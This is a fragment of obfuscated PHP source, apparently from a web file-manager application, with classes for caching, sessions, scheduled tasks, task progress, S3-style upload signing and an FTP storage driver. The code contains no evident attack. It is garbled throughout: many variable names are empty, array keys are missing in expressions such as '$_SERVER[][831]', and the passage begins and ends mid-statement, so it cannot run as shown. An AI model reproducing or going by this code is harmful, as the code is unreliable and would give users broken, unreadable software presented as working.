self::init()->remove($ͅšߧ); CacheLock::unlock($); return $ǀե; } public static function removeMemory($ݯ) { $ʠ = self::key($ݯ); unset(self::$memoryCache[$ʠ]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[][831])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[][832])) { self::init()->clearTimeout(); } } } goto AϽ; a: class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $Խ =& $_SERVER[]; static $ = false; if ($) { return $; } $Ͽ = $GLOBALS[$Խ[6]][$Խ[349]]; self::$sessionTime = $Ͽ[$Խ[1625]]; $ = isset($GLOBALS[$Խ[1626]]) ? $GLOBALS[$Խ[1626]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($)) { self::$sessionSign = Cookie::get($); } else { self::$sessionSign = guid(); } } Cookie::setSafe($, self::$sessionSign, self::$sessionTime); $ = $Ͽ[$Խ[1627]]; $ = $Ͽ[$]; $ݭ = $Ͽ[$Խ[827]]; switch ($) { case $Խ[21]: self::$handle = Model($Խ[828]); break; case $Խ[829]: self::$handle = new CacheRedis($, $ݭ); break; case $Խ[830]: self::$handle = new CacheMemcached($, $ݭ); break; case $Խ[200]: $[$Խ[84]] = $[$Խ[84]] . $Խ[1628]; self::$handle = new CacheFile($, $ݭ); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($Ƹ) { $͝Ɉ = self::$handle->get($Ƹ); $͝Ɉ = unserialize($͝Ɉ); return is_array($͝Ɉ) ? $͝Ɉ : array(); } public static function setBySign($ӻ, $Ѷ) { CacheLock::lock($ӻ); self::$handle->set($ӻ, serialize($Ѷ), self::$sessionTime); CacheLock::unlock($ӻ); } public static function sign($ = false) { $ && (self::$sessionSign = $); self::init(); return self::$sessionSign; } public static function set($ƽƃ, $ۯ÷ = false) { self::init(); if (is_array($ƽƃ)) { foreach ($ƽƃ as $ => $ǮѪ) { array_set_value(self::$data, $, $ǮѪ); } } else { array_set_value(self::$data, $ƽƃ, $ۯ÷); } self::setBySign(self::$sessionSign, self::$data); } public static function get($Ș = false) { self::init(); if (!$Ș) { return self::$data; } return array_get_value(self::$data, $Ș); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][832])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[]; if (self::valueGet($[748]) != $[88]) { return; } if (self::valueGet($[1629]) == $[88]) { $ = self::valueGet($[1630]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } http_close(); $GLOBALS[$[1631]] = 1; self::valueSet($[1629], $[88]); self::log($[1632] . ACTION . $[1633]); Session::$data = array(); Session::$sessionSign = $[12]; $GLOBALS[$[494]] = 1; Hook::bind($[1634], $[1635]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[748]) != $[88]) { self::valueSet($[1629], $[198]); self::log($[1636]); die; } $ώ = time(); if ($ώ - $ >= 60) { self::valueSet(array($[1629] => $[88], $[1630] => $ώ), !1); $ = $ώ; } if (!file_exists(USER_SYSTEM . $[1637])) { self::valueSet(array($[1629] => $[198], $[748] => $[198]), !1); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function restart() { $ =& $_SERVER[]; http_close(); self::valueSet($[748], $[198]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1629] => $[198], $[748] => $[88]), !1); } public static function taskSwitch() { $º =& $_SERVER[]; $ϓ = self::valueGet($º[748]) == $º[88] ? $º[198] : $º[88]; self::valueSet($º[748], $ϓ); } public static function shutdownEvent() { $ =& $_SERVER[]; self::valueSet($[1629], $[198]); self::log($[1638]); } public static function config($ҧ, $) { self::valueSet($_SERVER[][748], $ҧ); } private static function taskRunAll() { $ꩆ =& $_SERVER[]; $ٝ = timeFloat(); $ = Model($ꩆ[1639])->listData(); $ܘꏴ = count($); for ($콫Ή = 0; $콫Ή < $ܘꏴ; $콫Ή++) { $ȝ = $[$콫Ή]; if (!$ȝ[$ꩆ[399]] || $ȝ[$ꩆ[1640]] != $ꩆ[88]) { continue; } if (!self::taskTimeCheck($ȝ)) { continue; } self::taskRun($ȝ); } Hook::trigger($ꩆ[1641]); self::taskQueueRun($ٝ); } private static function taskQueueRun($) { $Ү = 10; while (!0) { $릗 = TaskQueue::run(); if ($릗 === !1) { break; } if (timeFloat() - $ >= $Ү) { break; } } } private static function taskTimeCheck($) { $ů =& $_SERVER[]; $߱ = json_decode($[$ů[180]], !0); $͋Þ = intval($[$ů[1630]]); $ʊ = strtotime($ů[1642] . $߱[$ů[1643]] . $ů[1644]) - strtotime($ů[1645]); $ԗ = time() - strtotime(date($ů[1646]) . $ů[1647]); $ = $ԗ >= $ʊ && $ԗ <= $ʊ + 3600; switch ($߱[$ů[33]]) { case $ů[1648]: if (time() - $͋Þ < 3600 * 24 * 30) { return !1; } if ($߱[$ů[1648]] == date($ů[1649]) && $) { return !0; } break; case $ů[1650]: if (time() - $͋Þ < 3600 * 24 * 7) { return !1; } $з̢ = date($ů[1651]) == 0 ? 7 : date($ů[1651]); if ($߱[$ů[1650]] == $з̢ && $) { return !0; } break; case $ů[1643]: if (time() - $͋Þ < 3600 * 24) { return !1; } if ($) { return !0; } break; case $ů[1652]: if (time() - $͋Þ >= floatval($߱[$ů[1652]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[]; static $ = 0; $ͮ = 300; if (!$) { $ = time(); } if (time() - $ < $ͮ) { return; } $ = time(); $ = Model($[504])->db($[12]); if ($) { $->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1653], $[1654]); die; } } public static function taskRun($) { $П =& $_SERVER[]; self::log($П[1655] . $[$П[399]] . $П[1656] . $[$П[32]] . $П[1657] . $[$П[1658]]); Model($П[1639])->run($[$П[399]]); $ = timeFloat(); $ݝ = $П[12]; switch ($[$П[33]]) { case $П[307]: $ = url_request($[$П[1658]], $П[230], !1, !1, !1, !1, 10); if ($[$П[748]]) { $ݝ = strlen($[$П[1204]]); } break; case $П[229]: $ݝ = Hook::apply($[$П[1658]]); default: break; } Model($П[1659])->add(array($П[1660] => $П[12], $П[1661] => $П[198], $П[33] => $П[1662] . $[$П[399]], $П[1663] => json_encode(array($П[32] => $[$П[32]], $П[1664] => timeFloat() - $, $П[293] => $ݝ)))); $ = $ݝ ? $П[1665] . $ݝ : $П[12]; self::log($П[1666] . $[$П[399]] . $П[164] . $); return !0; } private static function valueGet($ľ) { $ =& $_SERVER[]; $ѹ劧 = $[1667]; $ = Model($[435])->get($ľ, $ѹ劧); if (is_null($)) { Model($[435])->set($[748], $[88], $ѹ劧); Model($[435])->set($[1629], $[198], $ѹ劧); $ = Model($[435])->get($ľ, $ѹ劧); } return $; } private static function valueSet($抓, $) { $¸ =& $_SERVER[]; $˾ = $¸[1668]; CacheLock::lock($˾); $ʭ = Model($¸[435])->set($抓, $, $¸[1667]); CacheLock::unlock($˾); return $ʭ; } protected static function log($) { write_log($, $_SERVER[][1654]); } private static function cacheClear() { $ =& $_SERVER[]; Cache::clearMemory(Model($[435])->cacheKey($[1667])); Cache::clearMemory(Model($[435])->cacheKey($[1669])); Model($[1639])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\163\x74\157\x70"; const STATYS_RUNNING = "\x72\165\x6e\x6e\151\x6e\x67"; const STATYS_KILL = "\x6b\x69\154\154"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($ջ, $ = '', $ע = 0, $䊾 = '') { $ۂϙ =& $_SERVER[]; if (self::get($ջ)) { return; } $this->task = array($ۂϙ[399] => $ջ, $ۂϙ[1670] => USER_ID, $ۂϙ[1570] => $䊾, $ۂϙ[453] => $ۂϙ[12], $ۂϙ[33] => $, $ۂϙ[1066] => $ۂϙ[12], $ۂϙ[785] => $ע, $ۂϙ[1671] => 0, $ۂϙ[1672] => 0, $ۂϙ[1673] => 0, $ۂϙ[1674] => timeFloat(), $ۂϙ[1675] => 0, $ۂϙ[1676] => 0, $ۂϙ[1677] => 0, $ۂϙ[1678] => 0, $ۂϙ[748] => $ۂϙ[1629]); $GLOBALS[$ۂϙ[1679]] = 1; Hook::bind($ۂϙ[1634], array($this, $ۂϙ[1680])); Hook::bind($ۂϙ[1681], array($this, $ۂϙ[1682])); $this->startAfter(); Hook::trigger($ۂϙ[1683], $this->task); $this->task[$ۂϙ[1676]] = timeFloat(); } public function end($ = '') { $ҹ =& $_SERVER[]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$ҹ[1676]]) { self::valueSet($this->task[$ҹ[399]], !1); } $this->isEnd = !0; if ($) { $this->task[$ҹ[453]] = $; } self::log($ҹ[1684] . $this->task[$ҹ[399]] . $ҹ[1685] . sprintf($ҹ[849], timeFloat() - $this->task[$ҹ[1674]]) . $ҹ[1686]); Hook::unbind($ҹ[1634], array($this, $ҹ[1680])); Hook::unbind($ҹ[1681], array($this, $ҹ[1682])); $this->endAfter(); $ϻ = $this->task; $this->task = !1; Hook::trigger($ҹ[1687], $ϻ); } public function update($͑ = 0, $⮃ = false) { $㢖 =& $_SERVER[]; $ =& $this->task; if (!$) { return; } $[$㢖[1671]] += $͑; $[$㢖[1675]] = timeFloat(); if ($[$㢖[785]]) { if ($[$㢖[785]] < $[$㢖[1671]]) { $[$㢖[785]] = $[$㢖[1671]]; } $ = timeFloat() - $[$㢖[1674]] - $[$㢖[1677]]; if ($ <= 0) { $ = 0.001; } $[$㢖[1672]] = $[$㢖[1671]] / $[$㢖[785]]; $[$㢖[1673]] = $[$㢖[1671]] / $; if ($[$㢖[1672]] > 0) { $[$㢖[1678]] = $ * (1 - $[$㢖[1672]]) / $[$㢖[1672]]; } $[$㢖[1678]] = $[$㢖[1678]] <= 0 ? 0 : $[$㢖[1678]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $[$㢖[1676]] < $ && !$⮃) { return; } $Ÿԩ = self::get($[$㢖[399]]); $̆ = $Ÿԩ[$㢖[748]]; if ($̆ == self::STATYS_KILL) { $Ѫ = array($㢖[1688] => LNG($㢖[1689]), $㢖[1214] => !1); Cache::set($㢖[1690] . $this->task[$㢖[399]], $Ѫ, 30); $this->onKill(); $this->end(); die; } else { if ($̆ == self::STATYS_STOP) { $ь = 2; $Ÿԩ[$㢖[1677]] += $ь; self::valueSet($[$㢖[399]], $Ÿԩ); sleep($ь); $this->update(); return; } } $[$㢖[748]] = $̆ ? $̆ : $[$㢖[748]]; $[$㢖[1677]] = $Ÿԩ[$㢖[1677]] ? $Ÿԩ[$㢖[1677]] : 0; $[$㢖[1676]] = timeFloat(); Hook::trigger($㢖[1691], $); self::valueSet($[$㢖[399]], $); } public function onKillSet($Ѧٯ, $ = array()) { $this->onKillCall = array($Ѧٯ, $); } public function onKill() { $ =& $_SERVER[]; self::log($[1684] . $this->task[$[399]] . $[1692]); Hook::trigger($[1693], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($) { $κ =& $_SERVER[]; Cache::set($κ[1690] . $this->task[$κ[399]], $, 60); return $; } public static function get($ŏ) { $넣 =& $_SERVER[]; $ = self::valueGet($ŏ); if (is_array($) && $[$넣[1694]]) { $ΪԼ = ActionApply($[$넣[1694]], array($)); $ = is_array($ΪԼ) ? $ΪԼ : $; } return $; } public static function listData() { $Ğ = self::valueGet(); return array_sort_by($Ğ, $_SERVER[][1674], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($) { return self::changeStatus($, self::STATYS_STOP); } public static function restart($Ж) { return self::changeStatus($Ж, self::STATYS_RUNNING); } public static function killAll() { $Ԓ =& $_SERVER[]; $۷ = self::listData(); foreach ($۷ as $) { self::kill($[$Ԓ[399]]); } sleep(2); foreach ($۷ as $) { self::valueSet($[$Ԓ[399]], !1); } } private static function changeStatus($ꗮ, $ȗ։) { $ʻ =& $_SERVER[]; $ꓬ = self::valueGet($ꗮ); if (!$ꓬ) { return !1; } $ꓬ[$ʻ[748]] = $ȗ։; self::valueSet($ꗮ, $ꓬ); self::log($ʻ[1695] . $ꓬ[$ʻ[399]] . $ʻ[1696] . $ȗ։); return !0; } public static function valueGet($Ơ = false) { $Ι =& $_SERVER[]; if ($Ơ) { $ = Model($Ι[447])->where(array($Ι[94] => $Ơ, $Ι[33] => $Ι[1073]))->find(); return $ ? json_decode($[$Ι[374]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ = false) { $ =& $_SERVER[]; $ = array($[33] => $[1073]); if ($) { $[$[1670]] = $; } $٘ = Model($[447])->where($)->select(); $٘ = $٘ ? $٘ : array(); foreach ($٘ as $ => $ϳ) { $٘[$] = json_decode($ϳ[$[374]], !0); } return $٘; } public static function valueSet($, $ɸ) { $ =& $_SERVER[]; if (!$ɸ) { return Model($[447])->where(array($[94] => $, $[33] => $[1073]))->delete(); } $ = json_encode($ɸ); if (!$) { ob_start(); var_dump($ɸ); $ = ob_get_clean(); self::log($[1697] . json_encode_force($)); } if (!$ || !$ɸ[$[399]]) { return !1; } $͘ = array($[33] => $[1073], $[1670] => USER_ID, $[94] => $, $[374] => $); $ = $[1698]; CacheLock::lock($); Model($[447])->add($͘, array(), !0); CacheLock::unlock($); } public static function log($) { if (!GLOBAL_DEBUG) { return; } write_log($, $_SERVER[][1699]); } } goto DƏ; C㜊ď: class PathDriverEDS extends PathDriverMinIO { public function __construct($) { parent::__construct($); } } class PathDriverEOS extends PathDriverBaseS3 { public function __construct($Ʉ) { parent::__construct($Ʉ); $this->signatureVersion($_SERVER[][216]); } public function uploadFormData($πЭ, $ē = 3600) { $ =& $_SERVER[]; $ = $[199]; $ܱ = $[1360]; $э = $[62]; $܅ = gmdate($[1361]); $ͩԴ = gmdate($[749]); $ = $[1362]; $ҍ = $ē . $[12]; $ƾ = $[1324]; $˷Ѫ = array($this->accessKey, $ͩԴ, $this->region, $э, $); $ = implode($[8], $˷Ѫ); $ڷ = array($[1326] => gmdate($[1325], strtotime($[1363])), $[1327] => array(array($[1329] => $this->bucket), array($[1328] => $), array($[1330], $[1331], $[12]), array($[1330], $[1364], $[12]), array($[1330], $[1365], $[12]), array($[1332] => $ƾ), array($[1366] => $), array($[1367] => $ܱ), array($[1368] => $܅), array($[1369] => $ҍ))); $۸ = base64_encode(json_encode($ڷ)); $܄ = hash_hmac($[1370], $ͩԴ, $[1371] . $this->secret, !0); $ǩ = hash_hmac($[1370], $this->region, $܄, !0); $՞ = hash_hmac($[1370], $э, $ǩ, !0); $辸Ȯ = hash_hmac($[1370], $, $՞, !0); $Λη = hash_hmac($[1370], $۸, $辸Ȯ); $՝ = array($[215] => $[12], $[1372] => $[12], $[1328] => $, $[1332] => $ƾ, $[1336] => $۸, $[1373] => $, $[1374] => $ܱ, $[1375] => $܅, $[1376] => $ҍ, $[1377] => $Λη, $[182] => $this->getHost()); return $՝; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\61"; public $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($) { $ں =& $_SERVER[]; global $config; $this->appCharset = $config[$ں[1378]]; $this->systemCharset = $config[$ں[1379]]; if (isset($[$ں[1380]]) && $[$ں[1380]]) { $this->systemCharset = $[$ں[1380]]; } } public function iconvApp($彆) { return $this->iconvTo($彆, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($) { $⯛ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $⯛[1381]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $⯛[1381]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $⯛[8] . ltrim($, $⯛[8]); } private function _init($څ = array()) { $ =& $_SERVER[]; if (!function_exists($[1382])) { throw new Exception(LNG($[1383])); } $this->config = $څ; $this->charsetReset($څ); foreach ($څ as $ => $͑) { if (isset($this->{$})) { $this->{$} = $͑; } } return $this->_login($څ); } private function _login($Ҩ) { $ =& $_SERVER[]; static $ه = array(); $ = md5(json_encode($Ҩ)); if (isset($ه[$])) { foreach ($ه[$] as $֚ӫ => $) { $this->{$֚ӫ} = $; } return !0; } $ۍ˔ = parse_url(trim($this->server, $[8])); $this->host = $ۍ˔[$[182]]; $з = isset($ۍ˔[$[181]]) && $ۍ˔[$[181]] == $[1384] ? !0 : !1; $this->scheme = $з ? $[1385] : $[1386]; $this->port = isset($ۍ˔[$[183]]) ? $ۍ˔[$[183]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ = $this->pasv == $[88] ? !0 : !1; @ftp_pasv($this->connect, $); $ه[$] = array($[1387] => $this->connect, $[182] => $this->host, $[181] => $this->scheme, $[183] => $this->port); return $; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($, $ܢ = '', $茳 = REPEAT_RENAME) { if ($this->setContent($, $ܢ)) { return $this->getPathOuter($); } return !1; } public function mkdir($ۣ, $ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $ۣ = $this->iconvSystem($ۣ); if ($this->_isFolder($ۣ) || @ftp_mkdir($this->connect, $ۣ)) { return $this->getPathOuter($ۣ); } if (!$this->mkdir($this->pathFather($ۣ))) { return !1; } if ($ۣ = @ftp_mkdir($this->connect, $ۣ)) { return $this->getPathOuter($ۣ); } return !1; } public function copyFile($ݶ, $) { if (!$this->_isconn()) { return !1; } $Ԟ = $this->pathThis($this->iconvSystem($ݶ)); $ŵ = $this->tempFile($Ԟ); $ȑ = $this->iconvApp($ŵ); $this->download($ݶ, $ȑ); $ = $this->upload($, $ȑ); $this->tempFileRemve($ŵ); return $; } public function moveFile($, $Ρ) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $Ρ = $this->iconvSystem($Ρ); $Ҽƈ = @ftp_rename($this->connect, $, $Ρ); return $Ҽƈ ? $this->getPathOuter($Ρ) : !1; } public function delFile($ʊ) { if (!$this->_isconn()) { return !1; } $ʊ = $this->iconvSystem($ʊ); return @ftp_delete($this->connect, $ʊ); } public function delFolder($ҝ) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ = $ = array(); $this->fileList($ҝ, $, $, !0); $this->listItemCache = !0; foreach ($ as $Ԡ) { $ = $this->iconvSystem($Ԡ[$_SERVER[][32]]); $ǎɥ = @ftp_delete($this->connect, $); if (!$ǎɥ) { return !1; } } foreach ($ as $) { $ = $this->iconvSystem($); $ǎɥ = @ftp_rmdir($this->connect, $); if (!$ǎɥ) { return !1; } } $ҝ = $this->iconvSystem($ҝ); return @ftp_rmdir($this->connect, $ҝ); } public function rename($, $Ѫ) { $Ͻ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $δ = $this->fileNameAuto($this->pathFather($), $Ѫ); $δ = $this->iconvSystem($δ); $ = $this->iconvSystem($); $ = $this->pathFather($); $¸ = rtrim($, $Ͻ[8]) . $Ͻ[8] . $δ; $ = @ftp_rename($this->connect, $, $¸); $¸ = $this->iconvApp($¸); return $ ? $this->getPathOuter($¸) : !1; } private function folderInfo($䕎ќ, $ᦦ工 = false) { $訔 =& $_SERVER[]; $ͺ = array($訔[32] => $this->pathThis($䕎ќ), $訔[84] => $this->getPathOuter($訔[8] . $䕎ќ), $訔[33] => $訔[75]); if ($ᦦ工) { return $ͺ; } $ͺ[$訔[201]] = $ͺ[$訔[85]] = 0; $ͺ[$訔[202]] = $ͺ[$訔[203]] = !0; return $ͺ; } private function fileInfo($, $ㅽȈ = false, $ = array()) { $ =& $_SERVER[]; $ʑ = array($[32] => $this->pathThis($), $[84] => $this->getPathOuter($[8] . $), $[33] => $[200], $[76] => isset($[$[76]]) ? $[$[76]] : 0, $[174] => $this->ext($)); if ($ㅽȈ) { return $ʑ; } $ʑ[$[201]] = $ʑ[$[85]] = 0; $ʑ[$[202]] = $ʑ[$[203]] = !0; $ = $this->iconvSystem($); $ʑ[$[85]] = @ftp_mdtm($this->connect, $); if (empty($)) { $ = $this->objectMeta($); if (!$) { return $ʑ; } } $ʑ[$[76]] = $[$[76]]; return $ʑ; } public function size($闑) { $ = $this->objectMeta($闑); return $ ? $[$_SERVER[][76]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($ɗ, &$, &$, $ɶ = false) { $ =& $_SERVER[]; $ɗ = $this->iconvSystem($ɗ); if (!$this->isFolder($ɗ)) { return !1; } @ftp_chdir($this->connect, $[8]); $ɗ = rtrim($ɗ, $[8]) . $[8]; check_abort(); $ = @ftp_rawlist($this->connect, $ɗ); if (!$) { $ = array(); } $剂 = array($[10] => 1, $[1388] => 1); foreach ($ as $) { $ܽ = $this->_listItem($); if ($ܽ[0] == $[757]) { continue; } $ = $ܽ[8]; if (empty($) && $ !== $[198] || isset($剂[$])) { continue; } $ = $this->iconvApp($ɗ . ltrim($, $[8])); $ = array($[32] => $, $[33] => $[200], $[76] => $ܽ[4]); if (substr($, 0, 1) == $[1389]) { $[$[33]] = $[75]; $[$[76]] = 0; } $ޮ = $[$[33]] == $[75] ? !0 : !1; $this->cacheMethodInfoSet($, $ޮ, $); if ($ޮ) { $[] = $; if ($ɶ) { $this->fileList($, $, $, $ɶ); } continue; } $[] = $; } $this->cacheMethodInfoSet($ɗ, !0); } private function _listItem($謄) { if (empty($謄)) { return array(); } $ԭ® = preg_split($_SERVER[][1390], $謄); if (count($ԭ®) <= 9) { return $ԭ®; } $ԭ®[8] = trim(substr($謄, strpos($謄, $ԭ®[7]) + strlen($ԭ®[7]))); return array_splice($ԭ®, 0, 9); } public function listPath($, $̜ = false) { $Ĵ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $Ӽ = array(); $this->fileList($, $, $Ӽ); foreach ($ as $ => $) { $[$] = $this->folderInfo($, $̜); } foreach ($Ӽ as $ => $) { $Ӽ[$] = $this->fileInfo($[$Ĵ[32]], $̜, $); } return array($Ĵ[82] => $, $Ĵ[83] => $Ӽ); } public function has($ڍ, $̡ = false, $Ű = true) { $ŋĂ =& $_SERVER[]; $۰ = $ = array(); $ĆҪ = $̡ ? !0 : !1; $this->fileList($ڍ, $۰, $, $ĆҪ); if ($̡) { return array($ŋĂ[207] => count($), $ŋĂ[208] => count($۰)); } if ($Ű) { if (count($)) { return !0; } } else { if (count($۰)) { return !0; } } return !1; } public function listAll($) { $˘ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ぢÀ = $ = array(); $this->fileList($, $ぢÀ, $, !0); $Nj = array_to_keyvalue($, $˘[32]); foreach ($ぢÀ as $Ӻ) { if (is_string($Ӻ)) { $Nj[$Ӻ] = array($˘[76] => 0); } } return $this->listAllFiles($, $Nj); } public function getContent($Œ) { if (!$this->_isconn()) { return !1; } $Œ = $this->iconvSystem($Œ); return $this->fileSubstr($Œ); } public function setContent($, $Nj = '') { if (!$this->_isconn()) { return !1; } $ǔ = $this->pathThis($this->iconvSystem($)); $ٶƸ = $this->tempFile($ǔ); file_put_contents($ٶƸ, $Nj); $ɭɑ = $this->upload($, $this->iconvApp($ٶƸ)); $this->tempFileRemve($ٶƸ); return $ɭɑ; } public function fileSubstr($, $Ӫ = 0, $⸄ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $Ӫ, $⸄); } private function ftpRequest($ʩ, $ = 0, $Õ = false) { $ʩ = $this->iconvSystem($ʩ); $ϔݦ = $this->scheme . $this->host . $_SERVER[][4] . $this->port; $ = curl_init(); curl_setopt($, CURLOPT_URL, $ϔݦ . $this->pathEncode($ʩ)); curl_setopt($, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($Õ) { $ = $ + $Õ - 1; curl_setopt($, CURLOPT_RANGE, "{$}\55{$}"); } curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $ = curl_exec($); curl_close($); return $; } public function upload($, $, $Р = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = ftp_nb_put($this->connect, $, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { return !1; } return $this->getPathOuter($); } public function download($ݦɝ, $ = '') { if (!$this->_isconn()) { return !1; } $˸Ҟ = $this->pathFather($); if (!IO::mkdir($˸Ҟ)) { return !1; } $ݦɝ = $this->iconvSystem($ݦɝ); $ = $this->iconvSystem($); $ = ftp_nb_get($this->connect, $, $ݦɝ, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { return !1; } return $this->iconvApp($); } public function exist($㮛쒼) { return $this->isFile($㮛쒼) || $this->isFolder($㮛쒼); } public function isFile($ŏ) { return !$this->isFolder($ŏ) && $this->objectMeta($ŏ); } public function isFolder($ꐠ) { return $this->cacheMethod($_SERVER[][165], $ꐠ); } protected function objectMeta($ٿ) { return $this->cacheMethod($_SERVER[][167], $ٿ); } protected function _objectMeta($Ӫ) { $ =& $_SERVER[]; if ($Ӫ == $[12] || $Ӫ == $[8]) { return array(); } if (!$this->_isconn()) { return !1; } $Ӫ = $this->iconvSystem($Ӫ); $斜 = array($[32] => $this->iconvApp($Ӫ), $[33] => $[200], $[76] => 0); @ftp_chdir($this->connect, $[8]); $˟ = @ftp_size($this->connect, $Ӫ); if ($˟ != -1) { $斜[$[76]] = $˟; } else { $ = @ftp_chdir($this->connect, $Ӫ); if (!$) { return !1; } $斜[$[33]] = $[75]; } return $斜; } protected function _isFolder($) { $Ȏ˓ =& $_SERVER[]; if ($ == $Ȏ˓[12] || $ == $Ȏ˓[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$Ȏ˓[33]]) && $[$Ȏ˓[33]] == $Ȏ˓[75] ? !0 : !1; } } goto E; DƏ: class TaskFileTransfer extends Task { protected function startAfter() { $۷ =& $_SERVER[]; $į՟ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($۷[1700], array($this, $۷[1701])); Hook::bind($۷[1225], array($this, $۷[1702])); Hook::bind($۷[1703], array($this, $۷[1704])); Hook::bind($۷[596], array($this, $۷[1705])); Hook::bind($۷[597], array($this, $۷[1706])); Hook::bind($۷[602], array($this, $۷[1707])); Hook::bind($۷[603], array($this, $۷[1708])); Hook::bind($۷[599], array($this, $۷[1709])); Hook::bind($۷[600], array($this, $۷[1710])); Hook::bind($۷[565], array($this, $۷[1711])); Hook::bind($۷[562], array($this, $۷[1711])); Hook::bind($۷[567], array($this, $۷[1711])); Hook::bind($۷[569], array($this, $۷[1711])); Hook::bind($۷[571], array($this, $۷[1711])); Hook::bind($۷[1712], array($this, $۷[1713])); Hook::bind($۷[587], array($this, $۷[1714])); $this->sourceModelCopyFlag = !1; Hook::bind($۷[1715], array($this, $۷[1716])); Hook::bind($۷[1717], array($this, $۷[1718])); Hook::bind($۷[1719], array($this, $۷[1720])); $į՟[$۷[1721]] = LNG($۷[1722]); $į՟[$۷[1723]] = 0; $į՟[$۷[1724]] = 0; $į՟[$۷[1066]] = $۷[12]; $į՟[$۷[1725]] = $۷[12]; $į՟[$۷[1726]] = 0; $į՟[$۷[1727]] = 0; $į՟[$۷[1728]] = 0; if (!$į՟[$۷[1570]]) { $į՟[$۷[1570]] = LNG($۷[1729]); } } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1700], array($this, $[1701])); Hook::unbind($[1225], array($this, $[1702])); Hook::unbind($[1703], array($this, $[1704])); Hook::unbind($[596], array($this, $[1705])); Hook::unbind($[597], array($this, $[1706])); Hook::unbind($[602], array($this, $[1707])); Hook::unbind($[603], array($this, $[1708])); Hook::unbind($[599], array($this, $[1709])); Hook::unbind($[600], array($this, $[1710])); Hook::unbind($[565], array($this, $[1711])); Hook::unbind($[562], array($this, $[1711])); Hook::unbind($[567], array($this, $[1711])); Hook::unbind($[569], array($this, $[1711])); Hook::unbind($[571], array($this, $[1711])); Hook::unbind($[1712], array($this, $[1713])); Hook::unbind($[587], array($this, $[1714])); Hook::unbind($[1715], array($this, $[1716])); Hook::unbind($[1717], array($this, $[1718])); Hook::unbind($[1719], array($this, $[1720])); } public function copyMoveStart($뎀, $Δ, $, $) { $Ʉ =& $_SERVER[]; self::log($Ʉ[1730] . $Δ . $Ʉ[70] . $); $õ = rtrim(TEMP_FILES, $Ʉ[8]); if (substr($Δ, 0, strlen($õ)) == $õ) { return; } if (substr($, 0, strlen($õ)) == $õ) { return; } $ 